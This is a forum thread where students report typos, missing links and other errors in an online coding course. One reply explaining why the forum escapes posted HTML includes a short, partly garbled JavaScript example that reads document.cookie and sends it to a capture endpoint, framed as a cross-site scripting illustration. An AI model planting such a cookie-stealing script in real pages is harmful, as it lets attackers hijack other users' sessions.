Course typos and mistakes



In the “Chapter 4 - Exercises” section, the exercise is repeated twice.




Ahh okay, so your trying to actually render your HTML into a post on Toshi Times?

This functionality is typically not supported by any forums, message boards or the likes. It opens up the vulnerability of Cross-site scripting and SQL injection. The guys here at Toshi Times are using a forum plugin, not a completely hand coded platform. It would appear the plugin they are using is made for general discussion forums and not specific for code discussion like Stack Overflow or GitHub’s ReadMe rendering.

You can see the effects of this in your previous posts;

  • Without Preformatted Text selection; All code and it’s contents was cleared. Blank space was rendered where code was previously.
  • Preformatted Text; All code was escaped (\<ul\/\>) and appeared as actual code in the post <ul>.

Building parsers to cleanse, validate and then render formatted code is extremely hard. Which is why only forums and websites specifically made for code sharing have the functionality included. Without cleansing user input, I could post something like;

   // Get all cookies (including your access key)
   var userCookies = document.cookie;
   // Send an AJAX response to a server to capture your cookies"GET", "capture_cookies?data=" + userCookies, true);

And capture all cookies of any user that views my post, forge their cookie and access their profile.


Everything good, I did not found any typos.


The solution to the “Little Game Project” didn’t track the number of attempts as specified in the rules. Suppose this could be seen as a good thing as it forces people to figure out for themselves :wink:


In the lecture “Understanding web technology Harvard lecture” the text above the video is saying
This is a perfect and fun lecture from Harvard that will recap everything we’ve learned and will in some of the gaps you currently might have about HTML..”

Shouldnt it be with a “fill in” like this “This is a perfect and fun lecture from Harvard that will recap everything we’ve learned and will fill in some of the gaps you currently might have about HTML.”


This is a thread for that exact reason, to help Ivan and Filip to correct easy and quick mistakes.


Spelling Error:

The underflow case is the more common on in my opinion. If you have an unsigned 256 bit integer with the value 0 and decrease it by 1, the result in solidity would be the maximum integer value 2^256-1. A developer would probably expect this subtraction operation to fail or just result in 0, but instead the integer value becomes huge.

“Is the more common on in my opinion” is Grammarly incorrect.


Missing Link:

So what is the best solution to not fall into this trap? There is a great library called Safemath by OpenZeppelin that is widely used by solidity developers to add a layer of security to their mathematical operations. You can check out the library here.

There is no link.


It gets bad when users can’t understand the author. That is what this is for.



I don’t know if it’s just me, but the audio in the video, in “Javascript Introduction” (2:22), becomes unsynchronized (is that the word?) after a few seconds.


thanks everyone for pointing out errors, we’re going to take a look


In the reading assignment about data structures, part 2, “question 3” is:

(Feel free to skip the sub-chapter of Math object and Destructing)

Besides that this isn’t a question, the sub-chapter is called



And as Math is a subchapter, and Destructuring a second one, I think

(Feel free to skip the sub-chapterS of Math object and Destructing)

is more comprehensible.


The Computer science lecture from MIT is not available to be viewed in Canada apparently.


I found a typo: ABSTRACTION and Returnning Values from Functions . (Title under JavaScript programming RETURNNING should be with one “N”


In the “HTML and Web” section in the “Assignment hint - lists”

The first sentence: “If you’ve spend hours trying to figure out links in HTML…”

It should read: “If you’ve spent hours trying to figure out lists in HTML…”

Loving the course so far my man!


Hey @ivan,

Having terminated the “Javascript Next Level”, “Javascript in Terminal - NodeJS” and “Javascript and HTML Wrap Up” chapters, I’m definitively convinced that the “Optional: Javascript CS50 Lecture”, which is now placed at the end of the “Javascript Programming” Chapter, should be moved to the beginning of the “Javascript and HTML Wrap Up” Chapter.

I viewed it - at the end of the “Javasript Programming” Chapter - and it was confusing. I’ve looked at it again - at the end of “Javascript and HTML Wrap Up” and it is really clarifying and gives a good overview of what we learned about HTML and Javascript.


Add the word “fill” in the chapter “Understanding Web Technology - Hardvard Lecture”.

Also mentioned by:

This proves that one should use Search before posting a comment. :slightly_smiling_face:


In the Optional: Intro to Computer Science video at the start of the C++ section, computation is spelled cimputation. Absolutely loving the course so far, Ivan!


Hello, I hope that these are not completely outdated by now, though I tried to save some up before posting… Thanks for the course and all your effort!

Chapter 4’s questions are repeated twice…


Thanks Again :slight_smile:


In “Reading Assignment - HTML”, the correct grammar for the following is shown and corrected below.
Thanks! Onward & Upward!

Keep in mind that the goal is not to understand everything to 100%. If you’re completely new to programming this might be the first time you’ve ever seen code. But try to understand as much as possible.